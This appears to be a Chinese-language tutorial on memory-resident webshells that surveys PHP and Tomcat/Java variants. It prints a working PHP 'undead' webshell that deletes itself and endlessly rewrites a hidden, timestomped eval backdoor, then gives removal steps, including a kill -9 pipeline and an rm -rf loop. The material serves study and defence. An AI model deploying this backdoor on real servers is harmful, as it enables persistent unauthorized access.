前⾔

随着每年攻防对抗强度的增加,普通的⽊⻢在各⼤⼚商的安全设备下,根本难以存活,想要落地⼀个实体⽊⻢的难度逐渐增⼤。逐步完善的过滤机制、前后端分离的趋势,使得传统的 webshell ⽣存空间越来越⼩。于是,随着时代的发展,内存⻢出现了。 内存⻢就是⼀种⽆需落地⽂件就能使⽤的 webshell,它将恶意代码写⼊内存,拦截固定参数来达到 webshell 的效果。

发展过程如下:

web 服务器管理⻚⾯——> ⼤⻢——> ⼩⻢拉⼤⻢——> ⼀句话⽊⻢——> 加密⼀句话⽊⻢——> 加密内存⻢ php 内存⻢

刚开始学习的时候,只知道 php 内存⻢,想的都是内存⻢,php 和 java 应该会有⼀些相似的特征,应该可以类⽐⼀下。php 内存⻢常常作为 AWD 对抗赛的常⽤⼿段。

先通过⼀个简单的 php 型看⼀下内存⻢的基本实现思路

<?php 
  ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与⽤户的断开,脚本将继续运⾏。
  set_time_limit(0); //PHP脚本限制了执⾏时间,set_time_limit(0)设置⼀个脚本的执⾏时间为⽆限⻓ 
  unlink(__FILE__); //删除⾃身 
  $file = '.config.php'; 
  $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72") 
  {@eval($_POST[a]);} ?>'; 
  while (1){ 
  file_put_contents($file,$code); //创建shell.php 
  system('touch -m -d "2018-12-01 09:10:12" .config.php'); 
  usleep(50); //间隔时间 
  } 
?>

⽣成 .config.php 普通 ls 列不出来, 得 ls -a 才会列出 ==> 隐藏⽂件

删除⾃身⽂件,然后在某⼀个⽬录下循环⽣成你的 webshell==> 不死

那可以梳理⼀下 php 内存⻢的流程:

1. 将携带循环⽣成⽊⻢的命令脚本上传⾄⽬标服务器

2. 删除⽂件本身

3. 让其以隐藏⽂件的⽅式,死循环创建⽂件,并向⽂件中写⼊⽊⻢

查杀 php 内存⻢

1. 重启 php 服务器,(service apache2 restart)

2. 强⾏ kill 后台进程 ps aux | grep www-data | awk '{print $2}' | xargs kill -9

3. while 循环写脚本 while : ;do rm -rf xxx; done

4. 建⽴⼀个和不死⻢相同名字的⽂件或者⽬录,不断竞争写⼊⼀个和不死⻢同名的⽂件

<?php 
  while (1) { 
  $pid = 不死⻢的进程PID; 
  @unlink(".ski12.php"); 
  exec("kill -9 $pid"); 
  usleep(20); 
} 
?>

那我们根据 php 来类⽐⼀下 java

1. 内存⻢⽆⽂件落地,⽤户⽆法浏览到

2. ⽂件不死,能够循环执⾏

要实现这两点,需要结合 java 的特性来看,通常运⾏ java 的 web 容器是 Tomcat,以 Tomcat 为例

实现思路

我们先来看⼀下客户端 (浏览器) 与服务器 (Tomcat) 交互的简化流程

Tomcat Filter 类型内存⻢与查杀学习(1)_java

客户端发起的 web 请求会依次经过 Listener、Filter、Servlet 三个组件,只要在这个请求的过程中做⼿脚,在内存中修改已有的组件或者动态注册⼀个新的组件,插⼊恶意的 shellcode,就可以达到我们的⽬的。 ⼀句话总结:对访问路径映射及相关处理代码的动态注册。  

我们要在上⾯这三个地⽅动⼿脚,于是按照作⽤的位置,我们有了

•  listener 内存⻢

•  filter 内存⻢

•  Servlet 内存⻢

这三个,统称为:servlet-api 型。

在特定框架⾥,如 Spring/Struts2 等框架,按照位置分类可以有

•  interceptor 型

•  controller 型

 同时,针对不同的中间件还有不同的类型

•  Tomcat 的 Pipeline&Valve

•  Grizzly 的 FilterChain&Filter 等等

最后⼀种是字节码增强型内存⻢,Java Agent 内存⻢。最终安全⾏业将分为以下⼏类

•  动态注册 servlet/filter/listener(使⽤ servlet-api 的具体实现)

•  动态注册 interceptor/controller(使⽤框架如 spring/struts2)

•  动态注册使⽤职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline&Valve,Grizzly 的

FilterChain&Filter 等等)

•  使⽤ java agent 技术写⼊字节码